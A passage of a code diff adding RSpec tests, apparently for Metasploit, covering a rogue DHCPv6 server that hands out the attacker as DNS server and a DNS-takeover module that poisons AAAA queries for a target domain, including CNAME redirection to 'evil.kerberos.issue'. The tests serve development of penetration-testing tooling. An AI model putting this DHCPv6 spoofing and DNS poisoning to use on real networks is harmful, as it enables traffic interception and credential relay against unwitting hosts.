expect(Rex::Socket.addr_ntoa(iaaddr_option[4, 16])).to eq('fe80::dead') + end + + it 'returns nil for a request type it does not answer' do + release = described_class.new(msg_type: const::MessageType::RELEASE, transaction_id: 'abc') + expect(described_class.build_response(request: release, server_duid: server_duid, dns_servers: ['fe80::53'])).to be_nil + end + + it 'echoes Rapid Commit and replies when the client requested it' do + solicit = described_class.read(build_solicit([{ code: const::OptionCode::RAPID_COMMIT, data: '' }]).to_binary_s) + reply = described_class.build_response(request: solicit, server_duid: server_duid, dns_servers: ['fe80::53']) + expect(reply.msg_type).to eq(const::MessageType::REPLY) + expect(reply.find_option(const::OptionCode::RAPID_COMMIT)).not_to be_nil + end + end +end diff --git a/spec/lib/rex/proto/dhcpv6/server_spec.rb b/spec/lib/rex/proto/dhcpv6/server_spec.rb new file mode 100644 index 0000000000000..0fa51ef179f22 --- /dev/null +++ b/spec/lib/rex/proto/dhcpv6/server_spec.rb @@ -0,0 +1,63 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Rex::Proto::DHCPv6::Server do + let(:const) { Rex::Proto::DHCPv6::Constants } + let(:packet) { Rex::Proto::DHCPv6::Packet } + + subject(:server) do + described_class.new( + dns_servers: ['fe80::53'], + assigned_address: 'fe80::dead', + server_mac: 'aa:bb:cc:dd:ee:ff' + ) + end + + def solicit + packet.new( + msg_type: const::MessageType::SOLICIT, + transaction_id: "\x01\x02\x03", + options: [ + { code: const::OptionCode::CLIENTID, data: packet.duid_ll('11:22:33:44:55:66') }, + { code: const::OptionCode::IA_NA, data: [0xcafef00d, 0, 0].pack('NNN') } + ] + ).to_binary_s + end + + describe '#handle_request' do + it 'answers a Solicit with an Advertise handing out the attacker as DNS' do + msg_type, response = server.handle_request(solicit) + expect(msg_type).to eq(const::MessageType::SOLICIT) + + reply = packet.read(response) + expect(reply.msg_type).to eq(const::MessageType::ADVERTISE) + dns = reply.find_option(const::OptionCode::DNS_SERVERS) + expect(Rex::Socket.addr_ntoa(dns.data.to_binary_s)).to eq('fe80::53') + end + + it 'uses the configured server MAC in the server DUID' do + _msg_type, response = server.handle_request(solicit) + server_id = packet.read(response).find_option(const::OptionCode::SERVERID) + expect(server_id.data.to_binary_s).to eq(packet.duid_ll('aa:bb:cc:dd:ee:ff')) + end + + it 'returns nil for a message type it does not answer' do + release = packet.new(msg_type: const::MessageType::RELEASE, transaction_id: 'abc').to_binary_s + expect(server.handle_request(release)).to be_nil + end + + it 'returns nil (and does not raise) on malformed input' do + expect(server.handle_request("\xff")).to be_nil + end + end + + describe '#initialize' do + it 'generates a random locally-administered server DUID when no MAC is given' do + s = described_class.new(dns_servers: ['fe80::53']) + # DUID-LL: type(2) + hwtype(2) + 6-byte MAC; first MAC byte 0x02 = locally administered + expect(s.server_duid.bytesize).to eq(10) + expect(s.server_duid[4].unpack1('C')).to eq(0x02) + end + end +end diff --git a/spec/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover_spec.rb b/spec/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover_spec.rb new file mode 100644 index 0000000000000..4b28eba4b08f9 --- /dev/null +++ b/spec/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover_spec.rb @@ -0,0 +1,87 @@ +require 'spec_helper' + +RSpec.describe 'auxiliary/spoof/dhcp/dhcpv6_dns_takeover' do + include_context 'Msf::Simple::Framework#modules loading' + + subject(:mod) do + load_and_create_module( + module_type: 'auxiliary', + reference_name: 'spoof/dhcp/dhcpv6_dns_takeover' + ) + end + + let(:cli) { double('cli', peerhost: '10.0.0.5', peerport: 546) } + let(:dns_service) { double('service') } + + before do + mod.datastore['TARGET_DOMAIN'] = 'kerberos.issue' + mod.datastore['SPOOF_IP6'] = 'dead:beef::53' + mod.service = dns_service + end + + def query_bytes(name, type) + Dnsruby::Message.new(name, type).encode + end + + def captured_response + captured = nil + allow(dns_service).to receive(:send_response) { |_cli, data| captured = data } + yield + Rex::Proto::DNS::Packet.encode_drb(captured) + end + + describe '#on_dispatch_request' do + it 'poisons an in-scope AAAA query with the spoof address' do + resp = captured_response { mod.on_dispatch_request(cli, query_bytes('dc1.kerberos.issue', 'AAAA')) } + aaaa = resp.answer.find { |rr| rr.type == 'AAAA' } + expect(aaaa).not_to be_nil + expect(aaaa.address.to_s.downcase).to eq('dead:beef::53') + expect(resp.header.qr).to be(true) + end + + it 'logs the peer as an IPv6-safe bracketed authority, not a bare host:port' do + ipv6_cli = double('cli', peerhost: 'fe80::5', peerport: 546) + allow(dns_service).to receive(:send_response) + expect(mod).to receive(:print_good).with(a_string_matching(/\[fe80::5\]:546/)) + mod.on_dispatch_request(ipv6_cli, query_bytes('dc1.kerberos.issue', 'AAAA')) + end + + it 'poisons arbitrary subdomains under the target domain (wildcard)' do + resp = captured_response { mod.on_dispatch_request(cli, query_bytes('anything.sub.kerberos.issue', 'AAAA')) } + expect(resp.answer.any? { |rr| rr.type == 'AAAA' }).to be(true) + end + + it 'answers with a CNAME when RELAY_CNAME is set' do + mod.datastore['RELAY_CNAME'] = 'evil.kerberos.issue' + resp = captured_response { mod.on_dispatch_request(cli, query_bytes('dc1.kerberos.issue', 'AAAA')) } + cname = resp.answer.find { |rr| rr.type == 'CNAME' } + expect(cname).not_to be_nil + expect(cname.domainname.to_s.chomp('.')).to eq('evil.kerberos.issue') + end + + it 'only poisons the listed hosts when TARGET_HOSTS is set' do + mod.datastore['TARGET_HOSTS'] = 'dc1.kerberos.issue' + allow(dns_service).to receive(:default_dispatch_request) + + resp = captured_response { mod.on_dispatch_request(cli, query_bytes('dc1.kerberos.issue', 'AAAA')) } + expect(resp.answer.any? { |rr| rr.type == 'AAAA' }).to be(true) + + # A different in-domain host is out of scope now, so it is forwarded. + expect(dns_service).to receive(:default_dispatch_request) + mod.on_dispatch_request(cli, query_bytes('other.kerberos.issue', 'AAAA')) + end + + it 'forwards out-of-scope queries to the default handler instead of poisoning' do + expect(dns_service).to receive(:default_dispatch_request).with(cli, kind_of(String)) + expect(dns_service).not_to receive(:send_response) + mod.on_dispatch_request(cli, query_bytes('www.example.com', 'AAAA')) + end + end + + describe '#run validation' do + it 'rejects a non-IPv6 SPOOF_IP6' do + mod.datastore['SPOOF_IP6'] = '10.0.0.1' + expect { mod.run }.to raise_error(Msf::Auxiliary::Failed, /SPOOF_IP6 must be a valid IPv6/) + end + end +end